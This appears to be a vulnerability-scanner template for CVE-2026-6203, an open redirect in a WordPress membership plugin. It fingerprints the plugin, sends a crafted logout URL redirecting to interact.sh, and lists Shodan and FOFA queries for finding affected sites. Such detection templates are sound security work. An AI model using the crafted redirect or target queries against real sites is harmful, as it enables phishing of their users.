User Registration & Membership WordPress plugin - Open Redirect

id: CVE-2026-6203

info:
  name: User Registration & Membership WordPress plugin - Open Redirect
  author: theamanrawat
  severity: medium
  description: |
    User Registration & Membership WordPress plugin <= 5.1.4 contains an open redirect caused by insufficient validation of 'redirect_to_on_logout' parameter, letting attackers redirect users to malicious external URLs after logout, exploit requires crafted URL.
  impact: |
    Attackers can redirect users to malicious sites after logout, facilitating phishing attacks and user deception.
  remediation: |
    Update to a version later than 5.1.4 or the latest available version.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-user-registration-membership-plugin-5-1-4-unauthenticated-open-redirect-via-redirect-to-on-logout-parameter-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6203
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-6203
    epss-score: 0.01291
    epss-percentile: 0.79691
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"/wp-content/plugins/user-registration/"
    fofa-query: body="/wp-content/plugins/user-registration/" && title="WordPress"
  tags: cve,cve2026,wp,wordpress,wp-plugin,user-registration,open-redirect

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/user-registration/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "User Registration")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?user-logout=true&redirect_to_on_logout=https://interact.sh"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302

      - type: word
        part: header
        words:
          - "Location: https://interact.sh"
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